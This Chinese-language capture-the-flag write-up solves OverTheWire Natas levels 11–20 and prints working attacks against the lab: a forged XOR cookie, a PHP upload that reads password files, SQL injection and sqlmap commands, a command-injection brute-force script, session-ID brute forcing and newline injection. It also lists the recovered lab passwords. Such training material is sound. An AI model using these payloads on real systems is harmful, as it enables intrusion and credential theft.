OverTheWire 是一个 wargame 网站。其中 Natas 是一个适合学习Web安全基础的游戏,在Natas 中,我们需要通过找到网站的漏洞获得通往下一关的密码。每一关都有一个网站,类似 http://natasX.natas.labs.overthewire.org
,其中X是每一关的编号。每一关都要输入用户名(例如,level0的用户名是natas0)及其密码才能访问。所有密码存储在 /etc/natas_webpass/
中。例如natas1的密码存储在文件 /etc/natas_webpass/natas1
中,只能由natas0和natas1读取。
网站:
http://overthewire.org/wargames/natas/
Tips:所用工具:Chrome浏览器;Curl;BurpSuite;SQLMap
Level 11-12
Username: natas11Password: natas11URL: http://natas11.natas.labs.overthewire.org
首先使用我们之前得到的密码: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
登录natas11,得到一句提示:
Cookies are protected with XOR encryption
还有一个可以设置背景颜色的输入框,输入16进制的色值,即可设置网页背景颜色,同样可以通过点击 Viewsourcecode
查看源码。关键代码如下:
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>
<?
if($data["showpassword"] == "yes") {
print "The password for natas12 is <censored><br>";
}
?>
从代码可以看出,通过一些列的编码,包括 base64
加密, php异或
运算。把用户输入的数据编码进 cookie
里面。通过浏览器可以查看到data这个值是: ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw
。而 showpassword
这个参数决定了我们是否能看到下一关密码。代码中有个 censored
的 key
,这个是 php
用来做异或运算加密用到的 key
,我们需要先算出这 key
值,然后用这个值作为 key
进行运算和一些列编码,计算出新的 cookie
传入,即可得到下一关的密码。
key值计算:
<?php
$orig_cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw');
function xor_encrypt($in) {
$text = $in;
$key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
$out = '';
for($i=0;$i<strlen($text);$i++) {
$out .= $text[$i] ^ $key[$i % strlen($key)];
}
return $out;
}
echo xor_encrypt($orig_cookie);
?>
得到的结果是 qw8J
计算新的Cookie:
<?php
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = 'qw8J';
$text = $in;
$out = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$out .= $text[$i] ^ $key[$i % strlen($key)];
}
return $out;
}
function loadData($def) {
$mydata = $def;
$tempdata = json_decode(xor_encrypt(base64_decode($data)), true);
return $mydata;
}
echo base64_encode(xor_encrypt(json_encode(loadData($defaultdata))))
?>
结果是: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
,传入新的Cookie:
curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org --cookie "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"
HTTP/1.1 200 OK
Date: Mon, 27 Aug 2018 13:40:47 GMT
Server: Apache/2.4.10 (Debian)
Set-Cookie: data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
......
Cookies are protected with XOR encryption<br/><br/>
The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3<br>
......
得到密码。
Level 12-13
Username: natas12URL: http://natas12.natas.labs.overthewire.org
登录natas12,可以看到是一个上传文件功能:
Choose a JPEG to upload (max 1KB):
提示可以上传图片,最大不超过1kB,点击 Viewsourcecode
查看源码,关键代码如下:
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
通过阅读代码,可以发现除了限制文件大小和文件扩展名做了前端限制之外,并没有检测文件类型。而且还会返回上传后的路径,那我们直接上传一个 php
文件去读取 natas13
的密码即可。你可以通过 BurpSuite
之类的工具修改上传的 filename
后缀即可。
///getpass.php
<?php
$getpass = file_get_contents('/etc/natas_webpass/natas13');
echo $getpass;
?>
得到密码: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
Level 13-14
Username: natas13URL: http://natas13.natas.labs.overthewire.org
页面和前一关一样,不过查看源代码发现这一次限制了文件类型,通过 php
的函数 exif_imagetype()
来验证文件类型,通过查看php的文档,这个函数通过检查文件的签名(第一个字节),从而检测文件类型。关键代码如下:
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
那我们只需在上传的 php
文件中加入任意图片格式文件头标识即可,比如 GIF98a
GIF89a
<?php
$getpass = file_get_contents('/etc/natas_webpass/natas14');
echo $getpass;
?>
上传后访问返回的路径,得到密码: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Level 14-15
Username: natas14URL: http://natas14.natas.labs.overthewire.org
访问后,是一个登录页面,需要输入 username
和 password
,查看代码,关键代码:
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>
很明显的 SQL注入
漏洞,没有任何过滤,直接试试万能密码: " OR 1=1 #
注入成功,得到密码: Successfullogin!Thepasswordfornatas15isAwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
Level 15-16
Username: natas15URL: http://natas15.natas.labs.overthewire.org
页面需要输入一个 username
,可以点击 Checkexistence
查询用户是否存在,关键代码如下:
<h1>natas15</h1>
<div id="content">
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
这一关,页面不会返回SQL结果。但可以通过错误提示判断查询的结果,所以可以使用SQL盲注,可以使用 LIKE
表达式用通配符按个判断。这里我们直接用 sqlmap
好了。
sqlmap -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"
或者写python脚本获取密码,得到密码 WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
Level 16-17
Username: natas16URL: http://natas16.natas.labs.overthewire.org
这一关和第9关,第10关很像,不过过滤了更多的字符
页面提示 Forsecurity reasons,we now filter even more on certain characters
,页面功能是 Findwords containing:
,需要输入一些内容,然后搜索,然后会输出一些内容。关键代码如下:
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
虽然过滤了很多字符,但是没有过滤 $
和 ()
。我们知道PHP里的 $()
即使在引号内也可以使用,所以我们可以构造注入语言 $(grep a/etc/natas_webpass/natas17)
,执行的语句是这样的: passthru("grep -i \"$(grep a /etc/natas_webpass/natas17)\" dictionary.txt");
所有的单词都被返回了。 我们知道 dictionary.txt中
存在字符串,比如说 A
,用它与 $(grep)
的返回值相加,如果内层返回了结果将检索出空值,如果返回空值则外层的 grep
会返回结果 。比如说:如 password
中首字母为 a
,构成
grep-I"$(grep ^a /etc/natas_webpass/natas17)A"dictionary.txt
由于内部的 $()
命令返回了 a
,则使外层命令变为
grep-I"aA"dictionary.txt
由于 dictionary
中没有 aA
,从而返回空值 而如果内层 $()
命令返回空值,外层则能正确检索到 A
,于是返回值,证明首字母不是 a
按照这个原理可以构造出爆破脚本
import requests
chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
exist = ''
password = ''
target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh*@natas16.natas.labs.overthewire.org/'
trueStr = 'Output:\n<pre>\n</pre>'
for x in chars:
r = requests.get(target+'?needle=$(grep '+x+' /etc/natas_webpass/natas17)Getpass')
if r.content.find(trueStr) != -1:
exist += x
print 'Using: ' + exist
for i in range(32):
for c in exist:
r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)Getpass')
if r.content.find(trueStr) != -1:
password += c
print 'Password: ' + password + '*' * int(32 - len(password))
break
得到密码是: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Level 17-18
Username: natas17URL: http://natas17.natas.labs.overthewire.org
同 natas15
,不过没有错误提示,所以可以用基于时间的盲注。
得出的密码是 xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
Level 18-19
Username: natas18URL: http://natas18.natas.labs.overthewire.org
提示: Pleaseloginwithyour admin account to retrieve credentialsfornatas19.
同样有一个登录框,可以输入 username
和 password
。关键代码如下:
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
从代码上来看,没有连接数据库,说明不是 sql注入
,但是我们注意到有一个变量 maxid
,在 createID
函数中,接收用户名请求,并将其分配给 1
到 640($maxid)
之间的随机整数。然后它将其初始化为 session_id
。假设 PHPSESSID
是来自 session_id
的赋值,意味有1个会话ID分配会分配给“admin”。通过浏览器请求,我们发现 PHPSESSID
的值确实是来自变量 maxid
产生的 session_id
值。
所以我们只要穷举 maxid
的值就好了。可以用 Burpsuite
爆破这个值,然后把它作为 PHPSESSID
发送请求,即可得到密码。密码为 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
如果嫌 Burpsuite
太麻烦,用 shell
脚本也可轻松搞定
for i in `seq 640`
do
echo $i
curl -isu natas18:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP http://natas18.natas.labs.overthewire.org/ --cookie "PHPSESSID=$i" | grep natas19
done
Level 19-20
Username: natas19URL: http://natas19.natas.labs.overthewire.org
提示是这样的: Thispage uses mostly the same codeasthe previous level,but sessionIDsarenolonger sequential...Pleaseloginwithyour admin account to retrieve credentialsfornatas20.
意思就是和上一关一样,只不过 PHPSESSID
不再那么简单容易猜到而已。
通过观察,发现其 PHPSESSID
,虽然一长串字符串,如 3237362d61646d696e
,通过16进制解码发现,都是由 3位数字-admin
组成的,也就是说后面的 2d61646d696e
是不变的。所以我们只需要穷举 1-640
之间的数字然后拼接 -admin
做16进制转换,再带入 PHPSESSID
中进行提交,就能找到那个属于 admin
的 PHPSESSID
。最后得到的密码是 eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
Level 20-21
Username: natas20URL: http://natas20.natas.labs.overthewire.org
登录后,提示: Youare loggedinasa regular user.Loginasan admin to retrieve credentialsfornatas21.
你可以输入 Yourname
,然后点 Changename
,不过无论你输入什么页面都没有任何信息反馈给你。查看源码,关键代码如下:
<?
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
/* }}} */
/* we don't need this */
function myopen($path, $name) {
//debug("MYOPEN $path $name");
return true;
}
/* we don't need this */
function myclose() {
//debug("MYCLOSE");
return true;
}
function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode();
}
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
}
/* we don't need this */
function mydestroy($sid) {
//debug("MYDESTROY $sid");
return true;
}
/* we don't need this */
function mygarbage($t) {
//debug("MYGARBAGE $t");
return true;
}
session_set_save_handler(
"myopen",
"myclose",
"myread",
"mywrite",
"mydestroy",
"mygarbage");
session_start();
if(array_key_exists("name", $_REQUEST)) {
$_SESSION["name"] = $_REQUEST["name"];
debug("Name set to " . $_REQUEST["name"]);
}
print_credentials();
$name = "";
if(array_key_exists("name", $_SESSION)) {
$name = $_SESSION["name"];
}
?>
我们来看看每个函数的作用:
debug($msg)
表示打开了调试信息,可以通过在URL的末尾添加 /index.php?debug
来查看调试消息 $msg
。
访问之后将看到一些提示,类似这样的:
DEBUG: MYWRITE sm2d78a9d3u7r6qq2dn8tl7sf1 name|s:5:"admin";
DEBUG: Saving in /var/lib/php5/sessions//mysess_sm2d78a9d3u7r6qq2dn8tl7sf1
DEBUG: name => admin
可以看出,登录之后, $ _SESSION
的值被存储在一个文件中。
重点在 mywrite
和 myread
这两个关键函数,它们的作用是管理会话状态。
默认情况下, $ _SESSION
中唯一的 key
是 name
,其值通过 /index.php
中的表单提交进行设置。我们可以通过对 name
键值对进行注入:将 data
里面的值变为: name xxxx \n admin1\n
。
对换行符编码然后提交:
http://natas20.natas.labs.overthewire.org/index.php?name=test%0Aadmin%201&debug=1
再次访问 http://natas20.natas.labs.overthewire.org
即可得到密码
You are an admin. The credentials for the next level are:
Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
未完待续......
(如需转载,请注明出处)